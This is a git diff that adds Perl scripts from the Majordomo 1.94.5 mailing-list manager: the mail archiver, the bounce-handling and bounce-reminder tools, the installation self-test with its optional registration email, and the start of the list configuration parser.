+} + +sub open_archive { + local($FH) = shift; + local($year) = shift; + local($mon) = shift; + local($mday) = shift; + local($suffix); + + if (defined($opt_y)) { + $suffix = sprintf(".%02d", $year % 100); + } + if (defined($opt_Y)) { + $suffix = sprintf(".%04d", $year + 1900); + } + if (defined($opt_m)) { + $suffix = sprintf(".%02d%02d", $year % 100, $mon); + } + if (defined($opt_M)) { + $suffix = sprintf(".%04d%02d", $year + 1900, $mon); + } + if (defined($opt_d)) { + $suffix = sprintf(".%02d%02d%02d", $year % 100, $mon, $mday); + } + if (defined($opt_D)) { + $suffix = sprintf(".%04d%02d%02d", $year + 1900, $mon, $mday); + } + + &lopen($FH, ">>", "$opt_f$suffix") || + die("Can't append to $opt_f$suffix: $!"); + $is_open = 1; + chmod 0664, "$opt_f$suffix"; +} diff --git a/update/scripts/packages/majordomo-1.94.5/archive2.pl.orig b/update/scripts/packages/majordomo-1.94.5/archive2.pl.orig new file mode 100644 index 0000000..105e5cb --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/archive2.pl.orig @@ -0,0 +1,188 @@ +#!/bin/perl + +# Copyright 1993, D. Brent Chapman. All Rights Reserved. For use by +# permission only. +# +# $Source: /sources/cvsrepos/majordomo/archive2.pl,v $ +# $Revision: 1.11 $ +# $Date: 2000/01/07 11:00:49 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ +# +# archive -f {-u|-a} [-d|-m|-y] [file ...] +# -f REQUIRED; specifies base file name for archive +# -u Input is a UNIX archive (separated by "From " lines) to split +# -a Input is a message to append to archive +# -d Archive file is .YYMMDD +# -D Archive file is .YYYYMMDD +# -m Archive file is .YYMM +# -M Archive file is .YYYYMM +# -y Archive file is .YY +# -Y Archive file is .YYYY +# Exactly one of "-u" or "-a" must be specified. +# At most one of "-d", "-D", "-m", "-M", "-y", or "-Y" may be specified; +# if none is specified, archive name is simply +# +# An example of using "archive" to split an existing UNIX-style archive +# named "my-list.archive" into by-day archive files named "my-list.YYMMDD": +# +# archive -f my-list -d -u my-list.archive +# +# A sample /etc/aliases file entry to use "archive" add each incoming message +# to a "my-list.YYMM" file in the "/usr/local/mail/lists/my-list.archive" +# directory: +# +# my-list-archive: "|/usr/local/mail/majordomo/wrapper archive +# -f /usr/local/mail/lists/my-list.archive/my-list +# -m -a" + +# set our path explicitly +# PATH it is set in the wrapper, so there is no need to set it here. +#$ENV{'PATH'} = "/bin:/usr/bin:/usr/ucb"; + +($program_name = $0) =~ s|.*/||; + +# Change directory to our home +chdir($ENV{'HOME'}) if $ENV{'HOME'}; + +# Read and execute the .cf file +$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; +if ($ARGV[0] eq "-C") { + $cf = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); +} +if (! -r $cf) { + die("$cf not readable; stopped"); +} +require "$cf"; + +# All these should be in the standard PERL library +unshift(@INC, $homedir); +require "ctime.pl"; # To get MoY definitions for month abbrevs +require "majordomo_version.pl"; # What version of Majordomo is this? +require "majordomo.pl"; # all sorts of general-purpose Majordomo subs +require "shlock.pl"; # NNTP-style file locking + +$hostname = &chop_nl(`hostname`); +&set_abort_addr($whoami_owner); +&set_log($log, $hostname, $program_name, "UNKNOWN"); + +# Here's where the fun begins... + +require "getopts.pl"; + +$m = 1; +foreach (@ctime'MoY) { + $MoY{$_} = $m++; +} + +$usage = "Usage: $0 -f {-u|-a} [-d|-D|-m|-M|-y|-Y] [file ...]"; + +&Getopts("f:uadDmMyY") || die("$usage\nStopped"); + +if (!defined($opt_f)) { + print STDERR "'-f ' required\n$usage\n"; + exit 1; +} + +$sendmail_command = $sendmail_command || "/usr/lib/sendmail"; +$bounce_mailer = $bounce_mailer || "$sendmail_command -f\$sender -t"; +&set_abort_addr($whoami_owner); +&set_mail_from($whoami); +&set_mail_sender($whoami_owner); +&set_mailer($bounce_mailer); +&set_log($log, $hostname, $program_name, $opt_f); + +if (defined($opt_a)) { $mutex++; } +if (defined($opt_u)) { $mutex++; } +if ($mutex != 1) { + print STDERR "Either '-a' or '-u' required\n$usage\n"; + exit 2; +} + +$mutex = 0; + +if (defined($opt_d)) { $mutex++; } +if (defined($opt_D)) { $mutex++; } +if (defined($opt_m)) { $mutex++; } +if (defined($opt_M)) { $mutex++; } +if (defined($opt_y)) { $mutex++; } +if (defined($opt_Y)) { $mutex++; } +if ($mutex > 1) { + print STDERR "Only one of '-d', '-D', '-m', '-M', -y', or '-Y' allowed\n$usage\n"; + exit 3; +} + +if (defined($opt_a)) { + ($sec, $min, $hour, $mday, $mon, $year, $wday, $yday, $isdst) = + localtime(time); + &open_archive(FILE, $year, $mon + 1, $mday); +} + +while (<>) { + # remove Approved header (Doh!) if present and still in the header. + next if /^Approved:/ && $. < 30; + if (/^From\s/) { + if (/^From\s+\S+\s+(Sun|Mon|Tue|Wed|Thu|Fri|Sat)\s+(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+\d\d?\s+\d\d?:\d\d:\d\d\s+\d{2,4}\s*$/i) { + if (defined($opt_u)) { + if (defined($is_open)) { + print FILE "\n"; + &lclose(FILE); + } + &open_archive_unix(FILE, $_); + } + print FILE "$_"; + } else { + print FILE ">$_"; + } + } else { + print FILE $_; + } +} + +print FILE "\n"; +&lclose(FILE); + +sub open_archive_unix { + local($FH) = shift; + local($from) = shift; + local($junk, $addr, $dow, $moy, $dom, $time, $year, @rest); + + ($junk, $addr, $dow, $moy, $dom, $time, $year, @rest) = split(/\s+/,$from); + &open_archive($FH, $year % 100, $MoY{$moy}, $dom); +} + +sub open_archive { + local($FH) = shift; + local($year) = shift; + local($mon) = shift; + local($mday) = shift; + local($suffix); + + if (defined($opt_y)) { + $suffix = sprintf(".%02d", $year % 100); + } + if (defined($opt_Y)) { + $suffix = sprintf(".%04d", $year + 1900); + } + if (defined($opt_m)) { + $suffix = sprintf(".%02d%02d", $year % 100, $mon); + } + if (defined($opt_M)) { + $suffix = sprintf(".%04d%02d", $year + 1900, $mon); + } + if (defined($opt_d)) { + $suffix = sprintf(".%02d%02d%02d", $year % 100, $mon, $mday); + } + if (defined($opt_D)) { + $suffix = sprintf(".%04d%02d%02d", $year + 1900, $mon, $mday); + } + + &lopen($FH, ">>", "$opt_f$suffix") || + die("Can't append to $opt_f$suffix: $!"); + $is_open = 1; + chmod 0664, "$opt_f$suffix"; +} diff --git a/update/scripts/packages/majordomo-1.94.5/bounce b/update/scripts/packages/majordomo-1.94.5/bounce new file mode 100644 index 0000000..6bfc79e --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/bounce @@ -0,0 +1,202 @@ +#!/bin/perl + +# move problem addresses from to "bounces" +# +# Assumes that the "approve" password for each list is stored in a file +# called ".majordomo" in the user's home directory, in the following format: +# +# List Password Majordomo-Address +# +# When you bounce someone from a list, it looks up that lists's password +# and Majordomo-Address (the address of the Majordomo server serving that +# list) in the .majordomo file, and looks for another list named "bounces" +# with the same Majordomo-Address. +# +# Here's an example of what a .majordomo file should look like: +# +# this-list passwd1 Majordomo@This.COM +# other-list passwd2 Majordomo@Other.GOV +# bounces passwd3 Majordomo@This.COM +# bounces passwd4 Majordomo@Other.GOV +# +# A command of "bounce this-list user@fubar.com" will mail the +# following message to Majordomo@This.COM: +# +# approve passwd1 unsubscribe this-list user@fubar.com +# approve passwd3 subscribe bounces user@fubar.com (930401 this-list) +# +# Note that the date and the list the user was bounced from are included +# as a comment in the address used for the "subscribe bounces" command. +# +# Brent Chapman Great Circle Associates +# Brent@GreatCircle.COM 1057 West Dana Street +# +1 415 962 0841 Mountain View, CA 94041 + +# $Source: /sources/cvsrepos/majordomo/bounce,v $ +# $Revision: 1.11 $ +# $Date: 2000/01/07 14:09:24 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ +# + +$MAILER = "/usr/lib/sendmail"; + +$default_maxage = 21; + +# if this program is called unsub, then only unsubscribe, don't add to bounces + +($basename = $0) =~ s!.*/!!; +if ($basename =~ /unsub/) { + $unsub_only = 1; +} + +while ($ARGV[0] =~ /^(-.*)/ && shift) { + if ($1 eq "-f") { + $opt_f = shift; + } + elsif ($1 eq "-d") { + $debug = 1; + } + elsif ($1 eq "-unsub") { + $unsub_only = 1; + } + elsif ($1 eq "-expire") { + $expire = 1; + } + elsif ($1 eq "-majordomo") { + $majordomo = shift; + } + elsif ($1 eq "-maxage") { + $maxage = int(shift); + if ($maxage <= 0) { + warn "$maxage is not a positive integer; ignoring.\n"; + $maxage = 0; + } + } + else { + warn "bad option: $1\n"; + &usage(); + } +} + +if (! defined($opt_f)) { + $opt_f = "$ENV{HOME}/.majordomo"; +} + +if ($maxage && !$expire) { + warn "Can't specify -maxage without -expire\n"; + &usage(); +} + +&read_config(); + +if ($expire) { + if ($maxage <= 0) { + $maxage = $default_maxage; + } + # convert maxage in days to seconds + $maxage *= 24*60*60; + $list = 'bounces'; + if ($majordomo) { + $majordomo{$list} = $majordomo; + } +} +else { + $list = shift(@ARGV); + $list =~ tr/A-Z/a-z/; + $list =~ s/\@.*//; + + $list_passwd = $passwd{$list}; + if (! $list_passwd) { + die("no password for list $list; stopping"); + } + $maxage = 0; +} + +$bounce_passwd = $passwd{"bounces\@$majordomo{$list}"}; +if (! $unsub_only ) { + if (! $bounce_passwd) { + die("no password for list bounces; stopping"); + } +} + +($sec,$min,$hour,$mday,$mon,$year) = localtime(time-$maxage); +$year += 1900; + +if ($debug) { + open(MSG, ">&STDOUT"); +} else { + open(MSG, "|$MAILER $majordomo{$list}") || + die("open(MSG, \"|$MAILER $majordomo{$list}\"): $!\nStopped"); +} + +print MSG "To: $majordomo{$list}\n"; +print MSG "Subject: expired bounces entries\n" if $expire; +print MSG "\n"; + +if ($expire) { + $expire_date = sprintf("%02d%02d%02d", $year, $mon+1, $mday); + while (<>) { + # bounce format is user.name (yymmdd listname), we want yymmdd + next unless /.*\s\((\d+) \w.*\)/; + if ($1 <= $expire_date) { + printf MSG "approve %s unsubscribe bounces %s", $bounce_passwd, $_; + } + } +} else { + foreach (@ARGV) { + printf MSG "approve %s unsubscribe %s %s\n", $list_passwd, $list, $_; + if (! $unsub_only) { + printf MSG "approve %s subscribe bounces %s (%02d%02d%02d %s)\n", + $bounce_passwd, $_, $year, $mon+1, $mday, $list; + } + } +} +close(MSG); + +exit 0; + +sub read_config { + open(CONF, $opt_f) || die("open(CONF, \"$opt_f\"): $!"); + while () { + chop; + s/#.*//; + next if /^\s*$/; + local($list,$passwd,$majordomo) = split(' ',$_,3); + $list =~ tr/A-Z/a-z/; + $majordomo =~ tr/A-Z/a-z/; + if (! defined($passwd{$list})) { + $passwd{$list} = $passwd; + $majordomo{$list} = $majordomo; + } + $passwd{"$list\@$majordomo"} = $passwd; + } + close(CONF); +} + +sub usage { + print STDERR <] [-unsub] + $0 [-d] [-f ] -expire [-maxage ] + [-majordomo ] + +Options: + -d Debug: print what would be done, but don't do it. + -f config_file Specify a list/passwd file (default ~/.majordomo) + + -unsub Unsubscribe the user from the list, but don't add + to bounces. On by default if the program name + contains "unsub". + + -expire Expire entries from the specified bounces list. + -maxage days Expire entries older than maxage days (default + $default_maxage days). + -majordomo addr Send expired bounces to this majordomo (default is + the majordomo corresponding to the first 'bounces' + list). + bounce_entries A file containing bounce entries (eg. the bounces list) +EOT + exit(1); +} diff --git a/update/scripts/packages/majordomo-1.94.5/bounce-remind b/update/scripts/packages/majordomo-1.94.5/bounce-remind new file mode 100644 index 0000000..6da75ed --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/bounce-remind @@ -0,0 +1,105 @@ +#!/bin/perl + +# send a reminder to folks on a bounce list + +# Brent Chapman Great Circle Associates +# Brent@GreatCircle.COM 1057 West Dana Street +# +1 415 962 0841 Mountain View, CA 94041 + +# $Source: /sources/cvsrepos/majordomo/bounce-remind,v $ +# $Revision: 1.9 $ +# $Date: 1996/12/09 16:49:46 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ +# + +$main'program_name = 'mj_bounce-remind'; + +# Read and execute the .cf file +$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; +if ($ARGV[0] eq "-C") { + $cf = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); +} +if (! -r $cf) { + die("$cf not readable; stopped"); +} +require "$cf"; + +# Go to the home directory specified by the .cf file +chdir("$homedir"); + +# All these should be in the standard PERL library +unshift(@INC, $homedir); + +# Set these here so that they can be interploated on the $mailer command line. +$sender = "nobody\@$whereami"; +$to = "Bounces\@$whereami"; +$from = "nobody\@$whereami"; +$subject = "Bouncing email from mailing lists at $whereami"; + +$mail_cmd = eval qq/"$mailer"/; + +open(MSG, "|$mail_cmd bounces\@$whereami") || + die("open(MSG, \"|$mail_cmd bounces\@$whereami\"): $!\nStopped"); + +print MSG <) { + print MSG "\t$_"; +} + +close(LIST); + +print MSG < +# more mods by Vince Skahan +# +# execute this by cd to your majordomo dir, then 'wrapper config-test' +# + +use POSIX qw(ctime); +@requires = ( "majordomo_version.pl", + "majordomo.pl", + "shlock.pl", + "config_parse.pl", + ); + +$registration_file = ".majordomo_registration"; + +$default_uid = 123; + +if (!$ENV{'MAJORDOMO_CF'}) { + print <<"STOP" + +\a\aYou're attempting to run $0 the wrong way! +Let's try running it through ./wrapper instead, hmm? +STOP + ; + sleep 2; + if (-x "./wrapper") { + exec("./wrapper config-test", @ARGV); + } else { + print <<"dummy" +Well, shoot, you forget to run + + make install-wrapper + +as well! Better go do that... +dummy + ; + exit 1; + } +} + + + +&header(''); +&header("Config-test for Majordomo"); +&header(''); +print "\n\n"; + + + +&header("Obvious things:"); + +&header("environment variables"); +foreach $e (sort keys %ENV) { + print " $e=$ENV{$e}\n"; +} + +&header("euid/egid checks"); + +$euid_name=getpwuid($>); +push(@egid_group_numbers,(split(' ',$) ))); # it switches groups... +foreach $groupnum (@egid_group_numbers) { + $name = getgrgid($groupnum); + push(@egid_names,$name); +} +print " effective user = $euid_name (uid $>)\n"; +print " effective group = @egid_names (gid $) )\n"; + +&header("uid/gid checks"); + +$uid_name=getpwuid($<); +push(@gid_group_numbers,(split(' ',$( ))); # it switches groups... +foreach $groupnum (@gid_group_numbers) { + $name = getgrgid($groupnum); + push(@gid_names,$name); +} +print " real user = $uid_name (uid $<)\n"; +print " real group = @gid_names (gid $( )\n"; + +if ($< == $default_uid) { # the default uid + print <<"idontthinkso" +I think it's highly unlikely that you're using the default +user id of $default_uid for majordomo. Lemme check... + +idontthinkso + ; + $name = (getpwuid($default_uid))[0]; + if (! $name ) { + print <<"ithoughtso" + +Hah! I thought so! You've forgotten to use the right user id +in the Makefile. Make sure that W_USER and W_GROUP are set to +the correct values in the Makefile, and run + make install-wrapper +again. + +ithoughtso +;#' + exit 1; + } else { + print <<"wellokay" +Hmm! The user with the uid of $default_uid is $name, so +at least the user exists. If this isn't the majordomo user, +make sure that W_USER and W_GROUP are set to the correct values +in the Makefile, and run + make install-wrapper +again. + +wellokay +;#' + } +} + +&header(''); +print "\n\tNon obvious things that cause headaches:\n\n"; +&header(''); + +$cf = $ARGV[0] || $ENV{'MAJORDOMO_CF'}; + +if (eval "require '$cf'") { + &good("'require'd $cf okay."); +} else { + &bad("something's wrong with $cf: $@"); +} + +foreach (@requires) { + if (require $_) { + &good("found $_ okay."); + } else { + &bad("failed to find $_ in \@INC"); + } +} + +print "\n"; + +print "You're running Majordomo Version $majordomo_version.\n"; + +print "\n--==> Majordomo home directory is $homedir.\n"; + +unshift(@INC, $homedir); + +&header("Include directories"); +foreach (@INC) { + print "\t$_\n"; +} + +&header("Home"); + +if (chdir($homedir)) { + &good("changedir to $homedir succeeded."); +} else { + &bad("changedir to $homedir failed, $!"); +} +if (open(TEST, ">cftest.$$")) { + &good("Created a mock lock file."); + close(TEST); + unlink("cftest.$$"); +} +else { + &bad("Couldn't create a mock lock file.\n \$homedir ($homedir) needs to be writable."); +} + +&header("temp directory"); +if (! defined $TMPDIR) { + &bad("\$TMPDIR not defined by majordomo.cf"); +} +elsif (-d $TMPDIR) { + if (open(TEST, ">$TMPDIR/cftest.$$")) { + &good("Created a temp file in \$TMPDIR ($TMPDIR)."); + close(TEST); + unlink("$TMPDIR/cftest.$$"); + } + else { + &bad("Couldn't create a file in $TMPDIR."); + } +} +else { + &bad("\$TMPDIR ($TMPDIR) does not exist."); +} + +&header("list directory"); + +if (-d $listdir) { + if (-r $listdir && -w $listdir && -x $listdir) { + &good("list directory $listdir has good permissions."); + } else { + &bad("list directory $listdir has bad permissions"); + } +} else { + print "Hmmm, list directory $listdir doesn't exist\n or isn't a directory.\n"; + print "Let me try to make it for you...\n"; + if ( mkdir( $listdir, 0777) ) { + &good("list directory $listdir created.\n"); + } else { + &bad("Couldn't create $listdir, $!"); + } +} + +&header("log"); + +if ( ! -e $log ) { + print "Logfile $log didn't exist, trying to create...\n "; + if (open(A, ">$log") && close(A) ) { # sesame + print "okay, now chmod'ing..\n"; + chmod (0664, $log) || &bad( "chmod on $log failed, $!"); + } else { + &bad("Couldn't create logfile $log, $!\n"); + } +} + +if ( -f $log && -r $log && -w $log) { + &good("logfile $log exists and is writeable."); +} else { + &bad("logfile $log exists, but is not writeable or isn't a file."); +} + +&header ("Mailers"); +if ($mailer) { + print "You have defined a mailer for delivery.\n"; + if ($mailer =~ /sendmail.*\s-t/i) { + print "Whoa! You have given the \"-t\" option to sendmail. This can cause mail\n"; + print "loops when used for outbound delivery.\n"; + $BAD++; + } + ($x = $mailer) =~ s/\s.*$//; # Remove everything after and including + # the first space +} +elsif ($sendmail_command) { + print "You haven't defined a \$mailer to be used for delivery, but you have\n"; + print "defined \$sendmail_command. Majordomo will use\n"; + print "$sendmail_command -f\\\$sender\n"; + print "to deliver mail to the list unless you define list-specific cases.\n"; + $x = $sendmail_command; +} +else { + print "You have defined neither \$mailer, nor \$sendmail_command.\n"; + print "Majordomo will use\n"; + print "/usr/lib/sendmail -f\\\$sender\n"; + print "to deliver mail to the list.\n"; + $x = "/usr/lib/sendmail"; +} + +print "Attempting to verify that this is a valid mailer..."; +if ( -x $x ) { + print "looks okay.\n"; +} else { + print "nope, $x is not executable\n"; + $BAD++; +} + +if ($bounce_mailer) { + print "You have defined a mailer for delivering administrative messages.\n"; + ($x = $mailer) =~ s/\s.*$//; # Remove everything after and including + # the first space +} +elsif ($sendmail_command) { + print "You haven't defined a \$bounce_mailer to be used for delivering\n"; + print "administrative messages, but you have defined \$sendmail_command.\n"; + print "Majordomo will use\n"; + print "$sendmail_command -f\\\$sender -t\n"; + print "to deliver administrative mail.\n"; + $x = $sendmail_command; +} +else { + print "You have defined neither \$mailer, nor \$sendmail_command.\n"; + print "Majordomo will use\n"; + print "/usr/lib/sendmail -f\\\$sender -t\n"; + print "to deliver administrative mail.\n"; + $x = "/usr/lib/sendmail"; +} + +print "Attempting to verify that this is a valid mailer..."; +if ( -x $x ) { + print "looks okay.\n"; +} else { + print "nope, $x is not executable\n"; + $BAD++; +} + + +&header("Checking majordomo.cf"); + +print "Checking to see if there are new variables that should be in\n"; +print "your majordomo.cf file..."; + +open($cf, $cf) || &bad("Couldn't open $cf for reading, $!"); +open(S, 'sample.cf') || &bad("Couldn't open sample.cf for reading, $!"); + +while () { + next unless /^\s*(\$\w+(('|::)\w+)*)/; + $config{$1} = 2; +} + +while (<$cf>) { + next unless /^\s*(\$\w+(('|::)\w+)*)/; + $config{$1} = 1 unless defined $config{$1}; # Keeps -w happy + $config{$1} |= 1; +} + +close (S); +close $cf; + +# $config{whatever} == 1 if only in their majordomo.cf, +# == 2 if only in sample.cf, +# == 3 if in both. +# + +foreach (sort keys %config) { + push (@new, $_) if $config{$_} == 2; + push (@unknown, $_) if $config{$_} == 1; +} + +if ($#new >= 0) { + print "\nNew configuration variables (see sample.cf):\n"; + foreach (@new) { print "\t$_\n"; } +} + +if ($#unknown >= 0) { + print "\nUnknown configuration variables in existing majordomo.cf:\n"; + foreach (@unknown) { print "\t$_\n"; } +} + +if ($#new == -1 && $#unknown == -1) { + print "Nope, none that I see.\n"; +} + +print "\nHave you configured where Majordomo is?\n"; +print "\t\$whereami is $whereami\n"; +if ($whereami eq "example.com") { + &bad("\$whereami hasn't been changed yet!"); +} else { + &good("yup!"); +} + +&header("end of tests"); + +print "\n\n"; + +if ($BAD) { + print "$BAD bad ", $BAD == 1 ? "thing was" : "things were", " found.\n"; + print "Please fix before attempting to run Majordomo.\n"; +} else { + print <<"ZOT"; +Nothing bad found! Majordomo _should_ work correctly. + +If it doesn't, check your configuration file + ($cf) +closely, and if it still looks okay, consider asking the majordomo-users +mailing list at "majordomo-users\@greatcircle.com" for assistance. Be sure +and fully specify what your problems are, and what type of machine (and +operating system) you are using. + +Enjoy! + +ZOT + +#' + + if ( ! -e $registration_file || + `cat $registration_file` ne $majordomo_version) { + print <<"ZOT"; +I see you haven't registered this version of Majordomo. +By registering, you will be notified of patches and further releases +of Majordomo. Shall I send email to majordomo-registration\@greatcircle.com +to register this version? (I'll cc $whoami_owner) +ZOT + +#' + print "[yes] "; + if ( <> !~ /n/i) { + open(RF,">$registration_file") + || die "couldn't create $registration_file, $!"; + print RF $majordomo_version; + close RF; + + $sendmail_command = "/usr/lib/sendmail" + unless defined $sendmail_command; + $bounce_mailer = "$sendmail_command -f\$sender -t" + unless defined $bounce_mailer; + &set_abort_addr($whoami_owner); + &set_mail_from($whoami); $x = $whoami; # Keeps -w happy + &set_mail_sender($whoami_owner); + &set_mailer($bounce_mailer); + + &sendmail(REG, "majordomo-registration\@greatcircle.com,$whoami_owner", + "Majordomo Registration"); + print REG "Majordomo Version: $majordomo_version\n"; + print REG "Perl version $]\n"; + print REG "Majordomo Owner: $whoami_owner\n"; + print REG "Uname: " . `uname -a`; + close REG; + } else { + print "Ooooh, like to live dangerously, eh?!\n\n"; + } + } + +} + + +###################################################################### +sub good { print "Good: $_[0]\n"; } + +sub bad { print "BAD: $_[0]\n"; $BAD++;} + +sub header { + if (length $_[0]) { + print '-' x ( ( 60 - (length($_[0]) + 2) ) / 2), + " $_[0] ", '-' x ( ( 60 - (length($_[0]) + 2) ) / 2), "\n"; + } else { + print '-' x 60, "\n"; + } +} + +# +# that's all folks + diff --git a/update/scripts/packages/majordomo-1.94.5/config_parse.pl b/update/scripts/packages/majordomo-1.94.5/config_parse.pl new file mode 100644 index 0000000..5d2bbf2 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/config_parse.pl @@ -0,0 +1,1511 @@ +'di'; +'ig00'; +# A file to parse a majordomo mailing list config file +# +# writes into the global variable %main'config_opts +# + +# $Header: /sources/cvsrepos/majordomo/config_parse.pl,v 1.71 2000/01/07 14:00:26 cwilson Exp $ +# $Modified: Fri Jan 7 14:59:49 2000 by cwilson $ + +# this array holds the interesting info for use by all tools +%main'config_opts=(); + +require 'shlock.pl'; + +# here is the config package +package config; + +$config'debug = 0; #Set to non-zero for various debugging levels + +$clobber = 1; # if 0 don't empty previous list entries for configuration + +@errors = (); # The config'errors array is used to store error messages + # if the array is not empty, it causes main'get_config() + # to return 1. + +$installing_defaults = 0; # Set to 1 when installing defaults, in case + # a grab_ function needs to act differently + # when dealing with a default item. + +## Begin +## The following associative arrays are used: +## +## %known_keys(keyword,default value) -- defines the known keys in the +## config file. A null value implies that the +## string is undefined. A default value with '#!' +## at the beginning causes the string to be +## eval'ed. This is useful for substituting the +## list name etc into the string. If the keyword +## takes on a descrete set of values, the +## parse function MUST be grab_enum. The value of +## known_keys is the list of +## enumerated values. The separator character is +## "\001". Added onto the end is the default +## value. If the value can take on numerous +## values (i.e. is an array), the value is a +## string with each element in the array +## separated by "\001". +## +## %comments(keyword, comment) -- keeps comments for each keyword +## The comments are printed out when making a config +## file. So that they will document the use of +## the keyword. +## +## %parse_function(key, function) -- The function to use to parse the +## value for a given key. All functions for this +## purpose begin with "grab_", and are in package +## config. The type of the function can be +## appended with __ to the name of the +## function. There are some special names for +## some of the functions. Any function that +## allows array values must end in _array. This +## allows the main parser to determine that an +## array syntax is allowable for the keyword. +## +## %subsystem(keyword, subsystem) -- tells what subsystem each keyword +## belongs to. By default only majordomo, and +## resend are used as subsystems. This is meant +## for extentions such as majordomo-mh that +## allows access to the mh mail package via +## majordomo. +## End + +# provide list of known keys. If value is '', then the key is undefined +# I.e. the action is just as though there was no keyword found. +# otherwise the value is the default value for the keyword. +# if the value starts with #!, the rest of the value is eval'ed +%known_keys = ( + 'welcome', 'yes', # send welcome msg to new subscribers + 'announcements', 'yes', # send sub/unsub audits to list owner + 'get_access', "open\001closed\001list\001list", # open, anyone can access + 'index_access', "open\001closed\001list\001open", # closed, nobody can + 'who_access', "open\001closed\001list\001open", # list, only list can access. + 'which_access', "open\001closed\001list\001open", # ...more to come... + 'info_access', "open\001closed\001list\001open", # + 'intro_access', "open\001closed\001list\001list", # + 'advertise', '', # if regexp matches address show list + 'noadvertise', '', # if regexp matches address + # don't show list + 'description', '', # description of list, one line 55 char + 'subscribe_policy', "open\001closed\001auto\001open+confirm\001closed+confirm\001auto+confirm\001#!\$default_subscribe_policy ? \$default_subscribe_policy : 'open'", + # open, closed, or auto. + 'unsubscribe_policy', "open\001closed\001auto\001open+confirm\001closed+confirm\001auto+confirm\001#!\$default_unsubscribe_policy ? \$default_unsubscribe_policy : 'open'", + # open, closed, or auto. + 'mungedomain', 'no', # is user@foo.com == user@host.foo.com + 'admin_passwd', '#!"$list.admin"', # administration password + 'strip', 'yes', # remove comments from address on list + 'date_info', 'yes', # date the info file when installed + 'date_intro', 'yes', # date the intro file when installed + 'archive_dir', '', +# When it works use '#!$main\'filedir . "/" . $list', +# stuff for resend below + 'moderate', 'no', # Is list moderated + 'moderator', '', # moderator instead of owner-list + 'approve_passwd', '#!"$list.pass"', + # password for approving postings + 'sender', '#!"owner-" . $list', # Set sender name + 'maxlength', '40000', # Set max article length + 'precedence', 'bulk', # Set/install precendence header + 'reply_to', '#! local($TEMP) = $list; + if ( $list =~ /-digest$/) { + $TEMP =~ s/-digest$//; + $TEMP; + } else { + ""; + }', + # Set/install reply-to header + # the code above sets the reply-to + # to null if it is not a -digest list, + # or the non-digest list if it is + # a -digest list. + 'restrict_post', '', # Like -I in resend + 'purge_received', 'no', # Remove received lines + 'administrivia', 'yes',# Enable administrivia checks + 'resend_host', '', # Change the host name + 'debug', 'no', # enable resend debugging + 'message_fronter', '', + 'message_footer', '', # text to be added at bottom of posting + 'message_headers', '', # headers to be added to messsages + 'subject_prefix', '', # prefix for the subject line + 'taboo_headers', '', # if a header matches, review message + 'taboo_body', '', # if body matches, review message +# stuff for digest below + 'digest_volume', '1', + 'digest_issue', '1', + 'digest_work_dir', '', + 'digest_name', '#!$list', + 'digest_archive', '', + 'digest_rm_footer', '', + 'digest_rm_fronter', '', + 'digest_maxlines', '', + 'digest_maxdays', '', +# general stuff below + 'comments', '', # comments about config file + ); + +# An associative array of comments for all of the keys +# The text is wrapped and filled on output. +%comments = ( +'welcome', +"If set to yes, a welcome message (and optional 'intro' file) will be +sent to the newly subscribed user.", + +'announcements', +"If set to yes, comings and goings to the list will be sent to the list +owner. These SUBSCRIBE/UNSUBSCRIBE event announcements are informational +only (no action is required), although it is highly recommended that they +be monitored to watch for list abuse.", + +'get_access', +"One of three values: open, list, closed. Open allows anyone +access to this command and closed completely disables the +command for everyone. List allows only list members access, +or if restrict_post is defined, only the addresses in those +files are allowed access.", + +'index_access', +"One of three values: open, list, closed. Open allows anyone +access to this command and closed completely disables the +command for everyone. List allows only list members access, +or if restrict_post is defined, only the addresses in those +files are allowed access.", + +'who_access', +"One of three values: open, list, closed. Open allows anyone +access to this command and closed completely disables the +command for everyone. List allows only list members access, +or if restrict_post is defined, only the addresses in those +files are allowed access.", + +'which_access', +"One of three values: open, list, closed. Open allows anyone +access to this command and closed completely disables the +command for everyone. List allows only list members access, +or if restrict_post is defined, only the addresses in those +files are allowed access.", + +'info_access', +"One of three values: open, list, closed. Open allows anyone +access to this command and closed completely disables the +command for everyone. List allows only list members access, +or if restrict_post is defined, only the addresses in those +files are allowed access.", + +'intro_access', +"One of three values: open, list, closed. Open allows anyone +access to this command and closed completely disables the +command for everyone. List allows only list members access, +or if restrict_post is defined, only the addresses in those +files are allowed access.", + +'advertise', +"If the requestor email address matches one of these +regexps, then the list will be listed +in the output of a lists command. +Failure to match any regexp excludes the list from +the output. The regexps under noadvertise override these regexps.", + +'comments', +"Comment string that will be retained across config file rewrites.", + +'noadvertise', +"If the requestor name matches one of these +regexps, then the list will not be listed +in the output of a lists command. +Noadvertise overrides advertise.", + +'description', +"Used as description for mailing list +when replying to the lists command. +There is no quoting mechanism, and +there is only room for 50 or so +characters.", + +'subscribe_policy', +"One of three values: open, closed, auto; plus an optional +modifier: '+confirm'. Open allows people to subscribe themselves to +the list. Auto allows anybody to subscribe anybody to the list without +maintainer approval. Closed requires maintainer approval for all +subscribe requests to the list. Adding '+confirm', ie, +'open+confirm', will cause majordomo to send a reply back to the +subscriber which includes a authentication number which must be sent +back in with another subscribe command.", + +'unsubscribe_policy', +"One of three values: open, closed, auto; plus an optional modifier: +'+confirm'. Open allows people to unsubscribe themselves from the +list. Auto allows anybody to unsubscribe anybody to the list without +maintainer approval. The existence of the file .auto is the +same as specifying the value auto. Closed requires maintainer +approval for all unsubscribe requests to the list. In addition to the +keyword, if the file .closed exists, it is the same as +specifying the value closed. Adding '+confirm', ie, 'auto+confirm', +will cause majordomo to send a reply back to the subscriber if the +request didn't come from the subscriber. The reply includes a +authentication number which must be sent back in with another +subscribe command. The value of this keyword overrides the value +supplied by any existent files.", + +'mungedomain', +"If set to yes, a different method is used to determine a matching +address. When set to yes, addresses of the form user\@dom.ain.com are +considered equivalent to addresses of the form user\@ain.com. This 